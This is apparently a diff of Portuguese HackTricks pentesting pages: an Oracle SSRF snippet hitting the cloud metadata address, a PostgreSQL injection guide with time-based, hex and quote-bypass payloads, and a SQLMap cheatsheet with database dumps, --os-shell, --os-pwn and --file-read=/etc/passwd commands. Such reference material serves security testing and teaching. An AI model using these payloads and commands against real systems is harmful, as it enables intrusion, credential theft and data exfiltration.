Um `ORA-12541: TNS:no listener` ou um `TNS:operation timed out` é um sinal de que a porta TCP está fechada, enquanto um `ORA-29263: HTTP protocol error` ou dados é um sinal de que a porta está aberta.
Um `ORA-12541: TNS:no listener` ou um `TNS:operation timed out` é um sinal de que a porta TCP está fechada, enquanto um `ORA-29263: HTTP protocol error` ou dados são um sinal de que a porta está aberta.
Outro pacote que já usei no passado com sucesso variado é o método [`GETCLOB()` do tipo abstrato Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) que permite interagir com uma URL e oferece suporte para o protocolo HTTP. O método `GETCLOB()` é usado para buscar a resposta GET de uma URL como um [tipo de dado CLOB](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
Outro pacote que usei no passado com sucesso variado é o método [`GETCLOB()` do tipo abstrato `HTTPURITYPE` do Oracle](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) que permite interagir com uma URL e oferece suporte para o protocolo HTTP. O método `GETCLOB()` é usado para buscar a resposta GET de uma URL como um [tipo de dados CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

72
pentesting-web/sql-injection/postgresql-injection/README.md
View file

@ -1,39 +1,41 @@
# Injeção no PostgreSQL
# Injeção PostgreSQL
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100.000**!
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
***
**Esta página tem como objetivo explicar diferentes truques que podem ajudá-lo a explorar uma injeção SQL encontrada em um banco de dados postgresql e complementar os truques que você pode encontrar em** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
**Esta página tem como objetivo explicar diferentes truques que podem ajudá-lo a explorar uma SQLinjection encontrada em um banco de dados postgresql e complementar os truques que você pode encontrar em** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
## Interação de Rede - Escalação de Privilégios, Scanner de Portas, Divulgação de Resposta de Desafio NTLM e Exfiltração
## Interação de Rede - Escalação de Privilégios, Scanner de Portas, Divulgação de Resposta de Desafio NTLM & Exfiltração
**`dblink`** é um **módulo do PostgreSQL** que oferece várias opções interessantes do ponto de vista do atacante. Ele pode ser usado para **conectar-se a outras instâncias do PostgreSQL** ou realizar **conexões TCP**.\
**Essas funcionalidades**, juntamente com a funcionalidade **`COPY FROM`**, podem ser usadas para **escalar privilégios**, realizar **varreduras de portas** ou obter **respostas de desafio NTLM**.\
**`dblink`** é um **módulo PostgreSQL** que oferece várias opções interessantes do ponto de vista do atacante. Pode ser usado para **conectar-se a outras instâncias PostgreSQL** ou realizar **conexões TCP**.\
**Essas funcionalidades** juntamente com a funcionalidade **`COPY FROM`** podem ser usadas para **escalar privilégios**, realizar **varredura de portas** ou capturar **respostas de desafio NTLM**.\
[**Você pode ler aqui como realizar esses ataques.**](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)
### **Exemplo de Exfiltração usando dblink e objetos grandes**
Você pode [**ler este exemplo**](dblink-lo\_import-data-exfiltration.md) para ver um exemplo de CTF de **como carregar dados dentro de objetos grandes e depois exfiltrar o conteúdo dos objetos grandes dentro do nome de usuário** da função `dblink_connect`.
Você pode [**ler este exemplo**](dblink-lo_import-data-exfiltration.md) para ver um exemplo de CTF de **como carregar dados dentro de objetos grandes e depois exfiltrar o conteúdo de objetos grandes dentro do nome de usuário** da função `dblink_connect`.
## Ataques ao PostgreSQL: Leitura/escrita, RCE, escalação de privilégios
## Ataques PostgreSQL: Leitura/escrita, RCE, privesc
Veja como comprometer o host e escalar privilégios a partir do PostgreSQL em:
Confira como comprometer o host e escalar privilégios a partir do PostgreSQL em:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
@ -41,14 +43,14 @@ Veja como comprometer o host e escalar privilégios a partir do PostgreSQL em:
## Bypass de WAF
### Funções de String do PostgreSQL
### Funções de String PostgreSQL
Manipular strings pode ajudá-lo a **burlar WAFs ou outras restrições**.\
[**Nesta página**](https://www.postgresqltutorial.com/postgresql-string-functions/)**, você pode encontrar algumas funções úteis de strings.**
Manipular strings pode ajudar a **burlar WAFs ou outras restrições**.\
[**Nesta página**](https://www.postgresqltutorial.com/postgresql-string-functions/) **você pode encontrar algumas funções úteis de Strings.**
### Consultas Empilhadas
Lembre-se de que o postgresql suporta consultas empilhadas, mas vários aplicativos lançarão um erro se forem retornadas 2 respostas quando se espera apenas 1. No entanto, você ainda pode abusar das consultas empilhadas por meio da injeção de tempo:
Lembre-se de que o postgresql suporta consultas empilhadas, mas várias aplicações retornarão um erro se 2 respostas forem retornadas quando apenas 1 é esperada. No entanto, você ainda pode abusar das consultas empilhadas via Injeção de Tempo:
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@ -57,19 +59,19 @@ id=1; select pg_sleep(10);-- -
**query\_to\_xml**
Esta função retornará todos os dados no formato XML em apenas um arquivo. É ideal se você deseja despejar muitos dados em apenas 1 linha:
Esta função retornará todos os dados em formato XML em apenas um arquivo. É ideal se você quiser despejar uma grande quantidade de dados em apenas 1 linha:
```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```
**database\_to\_xml**
Esta função irá despejar todo o banco de dados em formato XML em apenas 1 linha (tenha cuidado se o banco de dados for muito grande, pois você pode DoSá-lo ou até mesmo o seu próprio cliente):
Esta função irá despejar todo o banco de dados em formato XML em apenas 1 linha (tenha cuidado se o banco de dados for muito grande, pois você pode causar DoS nele ou até mesmo no seu próprio cliente):
```sql
SELECT database_to_xml(true,true,'');
```
### Strings em Hexadecimal
### Strings em Hex
Se você pode executar **consultas** passando-as **dentro de uma string** (por exemplo, usando a função **`query_to_xml`**). **Você pode usar o `convert_from` para passar a string como hexadecimal e contornar os filtros dessa maneira:**
Se você pode executar **consultas** passando-as **dentro de uma string** (por exemplo, usando a função **`query_to_xml`**). **Você pode usar o convert\_from para passar a string como hex e contornar filtros dessa maneira:**
{% code overflow="wrap" %}
```sql
@ -85,29 +87,33 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
### Aspas proibidas
Se não puder usar aspas em sua carga útil, você pode contornar isso com `CHR` para cláusulas básicas (a concatenação de caracteres só funciona para consultas básicas como SELECT, INSERT, DELETE, etc. Não funciona para todas as instruções SQL):
Se não puder usar aspas para o seu payload, você pode contornar isso com `CHR` para cláusulas básicas (_a concatenação de caracteres só funciona para consultas básicas como SELECT, INSERT, DELETE, etc. Não funciona para todas as instruções SQL_):
```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
```
Ou com `$`. Essas consultas retornam os mesmos resultados:
Ou com `$`. Estas consultas retornam os mesmos resultados:
```
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de **recompensa por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100.000**!
```markdown
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de bug bounty **criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda a hackear AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
```

336
pentesting-web/sql-injection/sqlmap/README.md
View file

@ -1,27 +1,29 @@
# SQLMap - Cheatsheet
# SQLMap - Cheetsheat
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR Security Conference is an international cybersecurity event**](https://www.dragonjarcon.org/) with over a decade of history that will take place on September 7th and 8th, 2023 in Bogotá, Colombia. It is a highly technical event where the latest research in Spanish is presented, attracting hackers and researchers from around the world.\
Register now at the following link and don't miss this great conference!:
[**DragonJAR Security Conference é um evento internacional de cibersegurança**](https://www.dragonjarcon.org/) com mais de uma década de existência que ocorrerá nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento de alto conteúdo técnico onde são apresentadas as últimas pesquisas em espanhol que atrai hackers e pesquisadores de todo o mundo.\
Registre-se agora no seguinte link e não perca esta grande conferência!:
{% embed url="https://www.dragonjarcon.org/" %}
## Argumentos básicos para o SQLmap
## Argumentos básicos para SQLmap
### Genérico
### Genéricos
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
@ -50,31 +52,7 @@ Register now at the following link and don't miss this great conference!:
--passwords #Get passwords of users in DB
--privileges #Get privileges
```
#### Dados do BD
The `--dump` option can be used to retrieve the data from the database. By default, it will dump all the tables in the database. However, you can specify a particular table using the `--tables` option.
```bash
$ sqlmap -u "http://example.com/index.php?id=1" --dump
```
This command will retrieve all the data from the database and display it in the console. You can also specify the output format using the `--output` option. For example, to save the output in a CSV file, you can use the following command:
```bash
$ sqlmap -u "http://example.com/index.php?id=1" --dump --output=result.csv
```
This will save the data in a file named `result.csv`. You can then open the file in a spreadsheet program like Excel to analyze the data.
If you only want to retrieve data from a specific table, you can use the `--tables` option followed by the table name. For example, to retrieve data from the `users` table, you can use the following command:
```bash
$ sqlmap -u "http://example.com/index.php?id=1" --dump --tables users
```
This will only retrieve data from the `users` table and display it in the console.
Note that retrieving data from a database without proper authorization is illegal and unethical. Make sure you have the necessary permissions before performing any database operations.
#### Dados do DB
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -83,64 +61,24 @@ Note that retrieving data from a database without proper authorization is illega
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
## Local de Injeção
## Local da Injeção
### A partir da captura do Burp/ZAP
Capture a requisição e crie um arquivo req.txt
Capture a solicitação e crie um arquivo req.txt
```bash
sqlmap -r req.txt --current-user
```
### Injeção de Requisição GET
A injeção de requisição GET é uma técnica comum de ataque que explora vulnerabilidades em aplicativos da web que não sanitizam corretamente os parâmetros de URL. Essa técnica permite que um invasor injete código malicioso na URL, levando a uma série de consequências prejudiciais.
O SQLMap é uma ferramenta poderosa que pode ser usada para automatizar a detecção e exploração de vulnerabilidades de injeção de SQL em aplicativos da web. Ele suporta a injeção de requisição GET, permitindo que você teste a segurança de um aplicativo e identifique possíveis pontos de entrada para ataques.
Para usar o SQLMap para a injeção de requisição GET, você precisa fornecer a URL do aplicativo alvo e o parâmetro que deseja testar. O SQLMap então enviará uma série de solicitações GET com payloads maliciosos para o aplicativo, tentando explorar a vulnerabilidade de injeção de SQL.
É importante ressaltar que a injeção de requisição GET é uma prática ilegal e só deve ser realizada com permissão explícita do proprietário do aplicativo. O uso indevido dessa técnica pode resultar em consequências legais graves.
### Injeção em Requisição GET
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
### Injeção de Requisição POST
A injeção de requisição POST é uma técnica comum de ataque que visa explorar vulnerabilidades em formulários web que utilizam o método POST para enviar dados ao servidor. Essa técnica permite que um invasor insira comandos maliciosos no corpo da requisição POST, levando a possíveis ataques de injeção de SQL.
O SQLMap é uma ferramenta poderosa que pode ser usada para automatizar a detecção e exploração de vulnerabilidades de injeção de SQL. Ele suporta a injeção de requisição POST, permitindo que você teste a segurança de um aplicativo web em busca de possíveis vulnerabilidades.
Para usar o SQLMap para a injeção de requisição POST, você precisa fornecer o URL do aplicativo web alvo, bem como os parâmetros da requisição POST que deseja testar. O SQLMap irá analisar o formulário web, identificar os parâmetros vulneráveis e tentar explorar a injeção de SQL.
É importante ressaltar que a injeção de requisição POST é uma prática ilegal e só deve ser realizada com permissão explícita do proprietário do aplicativo web. O uso indevido dessa técnica pode resultar em consequências legais graves.
### Injeção em Requisição POST
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
### Injeções em Cabeçalhos e outros Métodos HTTP
When performing a web application penetration test, it is important to thoroughly test for vulnerabilities in all areas of the application, including the headers and other HTTP methods. Injections in headers and other HTTP methods can be just as dangerous as traditional SQL injections and can lead to unauthorized access, data leakage, and other security breaches.
Durante a realização de um teste de penetração em uma aplicação web, é importante testar minuciosamente as vulnerabilidades em todas as áreas da aplicação, incluindo os cabeçalhos e outros métodos HTTP. As injeções nos cabeçalhos e outros métodos HTTP podem ser tão perigosas quanto as injeções SQL tradicionais e podem levar a acesso não autorizado, vazamento de dados e outras violações de segurança.
#### Injection in Headers
Injections in headers occur when user-supplied data is not properly validated or sanitized before being included in the headers of an HTTP request. This can allow an attacker to manipulate the headers and potentially execute malicious code or perform unauthorized actions.
As injeções nos cabeçalhos ocorrem quando os dados fornecidos pelo usuário não são devidamente validados ou sanitizados antes de serem incluídos nos cabeçalhos de uma solicitação HTTP. Isso pode permitir que um invasor manipule os cabeçalhos e potencialmente execute código malicioso ou realize ações não autorizadas.
To test for injection in headers, you can use tools like sqlmap to automate the process. Sqlmap is a powerful tool specifically designed for detecting and exploiting SQL injection vulnerabilities, but it can also be used to test for other types of injections, including injections in headers.
Para testar a injeção nos cabeçalhos, você pode usar ferramentas como o sqlmap para automatizar o processo. O sqlmap é uma ferramenta poderosa projetada especificamente para detectar e explorar vulnerabilidades de injeção SQL, mas também pode ser usada para testar outros tipos de injeções, incluindo injeções nos cabeçalhos.
#### Injection in Other HTTP Methods
Injections can also occur in other HTTP methods, such as POST, PUT, DELETE, and PATCH. These methods are commonly used for data manipulation and can be vulnerable to injections if proper input validation and sanitization are not implemented.
As injeções também podem ocorrer em outros métodos HTTP, como POST, PUT, DELETE e PATCH. Esses métodos são comumente usados para manipulação de dados e podem ser vulneráveis a injeções se a validação e a sanitização adequadas de entrada não forem implementadas.
To test for injection in other HTTP methods, you can use similar techniques as with injections in headers. Tools like sqlmap can be used to automate the process and identify potential vulnerabilities.
Para testar a injeção em outros métodos HTTP, você pode usar técnicas semelhantes às injeções nos cabeçalhos. Ferramentas como o sqlmap podem ser usadas para automatizar o processo e identificar possíveis vulnerabilidades.
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -154,41 +92,17 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
### Indicar string quando a injeção for bem-sucedida
Sometimes, during a SQL injection attack, it is necessary to confirm whether the injection was successful or not. One way to do this is by indicating a specific string that will be displayed if the injection is successful.
To achieve this, you can use the `--string` option in SQLMap. This option allows you to specify a string that should be present in the response if the injection is successful.
For example, let's say you are injecting into a login form and you want to check if the injection was successful by looking for the string "Welcome, admin!" in the response. You can use the following command:
```
sqlmap -u "http://example.com/login.php" --data "username=admin&password=123" --string "Welcome, admin!"
```
In this command, `-u` specifies the target URL, `--data` specifies the POST data, and `--string` specifies the string to look for in the response.
If the injection is successful, SQLMap will display a message indicating that the string was found. If the injection is not successful, SQLMap will display a message indicating that the string was not found.
By using the `--string` option, you can easily confirm whether the injection was successful or not during a SQL injection attack.
### Indicar string quando a injeção é bem-sucedida
```bash
--string="string_showed_when_TRUE"
```
### Eval
O **Sqlmap** permite o uso de `-e` ou `--eval` para processar cada payload antes de enviá-lo com um python oneliner. Isso torna muito fácil e rápido processar o payload de maneiras personalizadas antes de enviá-lo. No exemplo a seguir, a **sessão de cookie do flask** **é assinada pelo flask com o segredo conhecido antes de enviá-la**:
**Sqlmap** permite o uso de `-e` ou `--eval` para processar cada payload antes de enviá-lo com um comando Python de uma linha. Isso torna muito fácil e rápido processar o payload de maneiras personalizadas antes de enviá-lo. No exemplo a seguir, a **sessão de cookie do flask** **é assinada pelo flask com o segredo conhecido antes de enviá-la**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
### Shell
O Shell é um componente essencial para a execução de comandos no sistema operacional. Ele fornece uma interface de linha de comando para interagir com o sistema e executar tarefas. No contexto de testes de penetração, o Shell é usado para executar comandos e explorar vulnerabilidades em um sistema alvo.
O Shell é uma ferramenta poderosa para os testadores de penetração, pois permite a execução de comandos arbitrários no sistema alvo. Isso pode ser usado para obter acesso não autorizado, explorar vulnerabilidades de segurança e realizar outras atividades maliciosas.
No entanto, é importante lembrar que o uso do Shell para fins maliciosos é ilegal e antiético. Os testadores de penetração devem sempre obter permissão por escrito antes de realizar qualquer teste em um sistema. Além disso, eles devem seguir as leis e regulamentos aplicáveis e garantir que suas atividades sejam éticas e legais.
O Shell é uma ferramenta valiosa para os testadores de penetração, mas deve ser usada com responsabilidade e dentro dos limites legais e éticos.
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -200,56 +114,10 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
### Ler Arquivo
O comando `read` é usado para ler o conteúdo de um arquivo no sistema de arquivos do servidor. O SQLMap suporta a leitura de arquivos usando a técnica de injeção de SQL.
#### Sintaxe
A sintaxe básica para ler um arquivo usando o SQLMap é a seguinte:
```
--file-read=<caminho_do_arquivo>
```
Onde `<caminho_do_arquivo>` é o caminho completo para o arquivo que você deseja ler.
#### Exemplo
Suponha que você queira ler o conteúdo do arquivo `/etc/passwd`. Você pode usar o seguinte comando:
```
sqlmap -u <URL> --file-read=/etc/passwd
```
Isso instruirá o SQLMap a injetar uma consulta SQL que lerá o conteúdo do arquivo `/etc/passwd` e exibirá o resultado.
#### Observações
- A leitura de arquivos usando a técnica de injeção de SQL pode ser útil para obter informações confidenciais armazenadas em arquivos, como senhas, chaves de API e outras informações sensíveis.
- No entanto, tenha cuidado ao usar essa técnica, pois a leitura de arquivos pode ser ilegal e violar a privacidade e a segurança de terceiros. Certifique-se de ter permissão adequada antes de realizar qualquer teste de penetração.
```bash
--file-read=/etc/passwd
```
### Rastreando um site com o SQLmap e autoexplorando
O SQLmap é uma ferramenta poderosa para testes de penetração que automatiza a detecção e exploração de vulnerabilidades de injeção de SQL em um site. Com o SQLmap, você pode rastrear um site em busca de possíveis pontos de injeção de SQL e, em seguida, explorar automaticamente essas vulnerabilidades.
Para rastrear um site com o SQLmap, siga estas etapas:
1. Execute o SQLmap no terminal, especificando o URL do site como argumento.
```
